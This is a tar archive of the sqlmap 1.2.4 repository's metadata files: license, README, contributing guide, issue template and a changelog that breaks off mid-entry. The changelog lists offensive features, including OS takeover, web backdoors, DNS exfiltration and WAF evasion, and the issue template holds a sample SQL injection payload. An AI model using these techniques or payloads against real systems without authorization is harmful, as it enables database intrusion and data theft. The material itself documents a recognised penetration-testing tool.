pax_global_header00006660000000000000000000000064132601226370014514gustar00rootroot0000000000000052 comment=2cc6214227f233856be6b09715b43f823ea42210 sqlmap-1.2.4/000077500000000000000000000000001326012263700130155ustar00rootroot00000000000000sqlmap-1.2.4/.gitattributes000066400000000000000000000003501326012263700157060ustar00rootroot00000000000000*.conf text eol=lf *.md text eol=lf *.md5 text eol=lf *.py text eol=lf *.xml text eol=lf *_ binary *.dll binary *.pdf binary *.so binary *.wav binary *.zip binary *.x32 binary *.x64 binary *.exe binary *.sln binary *.vcproj binary sqlmap-1.2.4/.github/000077500000000000000000000000001326012263700143555ustar00rootroot00000000000000sqlmap-1.2.4/.github/CODE_OF_CONDUCT.md000066400000000000000000000062131326012263700171560ustar00rootroot00000000000000# Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ sqlmap-1.2.4/.github/CONTRIBUTING.md000066400000000000000000000066611326012263700166170ustar00rootroot00000000000000# Contributing to sqlmap ## Reporting bugs **Bug reports are welcome**! Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). ### Guidelines * Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. * Make sure you can reproduce the bug with the latest development version of sqlmap. * Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. * If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* ## Submitting code changes All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! ### Guidelines In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: * Each patch should make one logical change. * Avoid tabbing, use four blank spaces instead. * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. * Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. * Style that is too different from main branch will be ''adapted'' by the developers side. * Do not touch anything inside `thirdparty/` and `extra/` folders. ### Licensing By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. sqlmap-1.2.4/.github/ISSUE_TEMPLATE.md000066400000000000000000000024541326012263700170670ustar00rootroot00000000000000## What's the problem (or question)? ## Do you have an idea for a solution? ## How can we reproduce the issue? 1. 2. 3. 4. ## What are the running context details? * Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`): * Client OS (e.g. `Microsoft Windows 10`) * Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): * Target DBMS (e.g. `Microsoft SQL Server`): * Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`): * SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`): * Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works): * Relevant console output (if any): * Exception traceback (if any): sqlmap-1.2.4/.gitignore000066400000000000000000000000671326012263700150100ustar00rootroot00000000000000*.py[cod] output/ .sqlmap_history traffic.txt *~ .idea/sqlmap-1.2.4/.travis.yml000066400000000000000000000002111326012263700151200ustar00rootroot00000000000000language: python sudo: false git: depth: 1 python: - "2.6" - "2.7" script: - python -c "import sqlmap; import sqlmapapi" sqlmap-1.2.4/LICENSE000066400000000000000000000447061326012263700140350ustar00rootroot00000000000000COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 (or later) with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact sales@sqlmap.org). Note that the GPL places important restrictions on "derived works", yet it does not provide a detailed definition of that term. To avoid misunderstandings, we interpret that term as broadly as copyright law allows. For example, we consider an application to constitute a "derived work" for the purpose of this license if it does any of the following: * Integrates source code from sqlmap. * Reads or includes sqlmap copyrighted data files, such as xml/queries.xml * Executes sqlmap and parses the results (as opposed to typical shell or execution-menu apps, which simply display raw sqlmap output and so are not derivative works). * Integrates/includes/aggregates sqlmap into a proprietary executable installer, such as those produced by InstallShield. * Links to a library or executes a program that does any of the above The term "sqlmap" should be taken to also include any portions or derived works of sqlmap. This list is not exclusive, but is meant to clarify our interpretation of derived works with some common examples. Our interpretation applies only to sqlmap - we do not speak for other people's GPL works. This license does not apply to the third-party components. More details can be found inside the file 'doc/THIRD-PARTY.md'. If you have any questions about the GPL licensing restrictions on using sqlmap in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate sqlmap into proprietary applications and appliances. If you received these files with a written license agreement or contract stating terms other than the terms above, then that alternative license agreement takes precedence over these comments. Source is provided to this software because we believe users have a right to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes to dev@sqlmap.org for possible incorporation into the main distribution. By sending these changes to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap project the unlimited, non-exclusive right to reuse, modify, and relicense the code. sqlmap will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.0.html, or below **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS sqlmap-1.2.4/README.md000066400000000000000000000103561326012263700143010ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. **The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).** Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. Installation ---- You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform. Usage ---- To get a list of basic options and switches use: python sqlmap.py -h To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://asciinema.org/a/46601). To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- * Homepage: http://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) sqlmap-1.2.4/doc/000077500000000000000000000000001326012263700135625ustar00rootroot00000000000000sqlmap-1.2.4/doc/AUTHORS000066400000000000000000000002761326012263700146370ustar00rootroot00000000000000Bernardo Damele Assumpcao Guimaraes (@inquisb) Miroslav Stampar (@stamparm) You can contact both developers by writing to dev@sqlmap.org sqlmap-1.2.4/doc/CHANGELOG.md000066400000000000000000001001121326012263700153660ustar00rootroot00000000000000# Version 1.0 (2016-02-27) * Implemented support for automatic decoding of page content through detected charset. * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Major improvements to program stabilization based on user reports. * Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms. * Fixed major bug with DNS leaking in Tor mode. * Added wordlist compilation made of the most popular cracking dictionaries. * Implemented multi-processor hash cracking routine(s). * Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method. * Old resume files are now deprecated and replaced by faster SQLite based session mechanism. * Substantial code optimization and smaller memory footprint. * Added option `-m` for scanning multiple targets enlisted in a given textual file. * Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form. * Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests. * Added option `--host` for manually setting HTTP Host header value. * Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself. * Added option `--skip` for skipping tests for given parameter(s). * Added switch `--titles` for comparing pages based only on their titles. * Added option `--charset` for forcing character encoding used for data retrieval. * Added switch `--check-tor` for checking if Tor is used properly. * Added option `--crawl` for multithreaded crawling of a given website starting from the target url. * Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--smart` for conducting through tests only in case of positive heuristic(s). * Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables. * Major improvements to switches `--tables` and `--columns`. * Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof. * Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header. * Added switch `-a` to enumerate all DBMS data. * Added option `--alert` to run host OS command(s) when SQL injection is found. * Added option `--answers` to set user answers to asked questions during sqlmap run. * Added option `--auth-file` to set HTTP authentication PEM cert/private key file. * Added option `--charset` to force character encoding used during data retrieval. * Added switch `--check-tor` to force checking of proper usage of Tor. * Added option `--code` to set HTTP code to match when query is evaluated to True. * Added option `--cookie-del` to set character to be used while splitting cookie values. * Added option `--crawl` to set the crawling depth for the website starting from the target URL. * Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`). * Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token. * Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token. * Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`). * Added option `--dbms-cred` to set the DBMS authentication credentials (user:password). * Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies. * Added switch `--disable-coloring` to disable console output coloring. * Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s). * Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`). * Added option `--eval` for setting the Python code that will be evaluated before the request. * Added switch `--force-ssl` to force usage of SSL/HTTPS. * Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval. * Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`). * Added switch `-hh` for showing advanced help message. * Added option `--host` to set the HTTP Host header value. * Added switch `--hostname` to turn on retrieval of DBMS server hostname. * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. * Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection. * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). * Added switch `--invalid-bignum` for usage of big numbers while invalidating values. * Added switch `--invalid-logical` for usage of logical operations while invalidating values. * Added switch `--invalid-string` for usage of random strings while invalidating values. * Added option `--load-cookies` to set the file containing cookies in Netscape/wget format. * Added option `-m` to set the textual file holding multiple targets for scanning purposes. * Added option `--method` to force usage of provided HTTP method (e.g. `PUT`). * Added switch `--no-cast` for turning off payload casting mechanism. * Added switch `--no-escape` for turning off string escaping mechanism. * Added option `--not-string` for setting string to be matched when query is evaluated to False. * Added switch `--offline` to force work in offline mode (i.e. only use session data). * Added option `--output-dir` to set custom output directory path. * Added option `--param-del` to set character used for splitting parameter values. * Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing). * Added option `--proxy-file` to set file holding proxy list. * Added switch `--purge-output` to turn on safe removal of all content(s) from output directory. * Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run. * Added option `--safe-post` to set POST data for sending to safe URL. * Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL. * Added option `--skip` to skip testing of given parameter(s). * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. * Added switch `--skip-urlencode` to skip URL encoding of payload data. * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection. * Added switch `--smart` to conduct thorough tests only if positive heuristic(s). * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. * Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`). * Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`). * Added switch `--titles` to turn on comparison of pages based only on their titles. * Added option `--tor-port` to explicitly set Tor proxy port. * Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`). * Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection. * Added option `--where` to set `WHERE` condition to be used during the table dumping. * Added option `-X` to exclude DBMS database table column(s) from enumeration. * Added option `-x` to set URL of sitemap(.xml) for target(s) parsing. * Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`). # Version 0.9 (2011-04-10) * Rewritten SQL injection detection engine. * Support to directly connect to the database without passing via a SQL injection, option `-d`. * Added full support for both time-based blind SQL injection and error-based SQL injection techniques. * Implemented support for SQLite 2 and 3. * Implemented support for Firebird. * Implemented support for Microsoft Access, Sybase and SAP MaxDB. * Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. * Added support to tamper injection data with option `--tamper`. * Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. * Added support to enumerate roles on Oracle, `--roles` switch. * Added support for SOAP based web services requests. * Added support to fetch unicode data. * Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`. * Implemented several optimization switches to speed up the exploitation of SQL injections. * Support to test and inject against HTTP Referer header. * Implemented HTTP(s) proxy authentication support, option `--proxy-cred`. * Implemented feature to speedup the enumeration of table names. * Support for customizable HTTP(s) redirections. * Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`. * Support to parse and test forms on target url, switch `--forms`. * Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. * Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection. * Added safe URL feature, `--safe-url` and `--safe-freq`. * Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content. * Implemented few other features and switches. * Over 100 bugs fixed. * Major code refactoring. * User's manual updated. # Version 0.8 (2010-03-14) * Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. * Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table. * Support for takeover features on PostgreSQL 8.4. * Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows. * Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root. * Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries. * Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function. * Updated 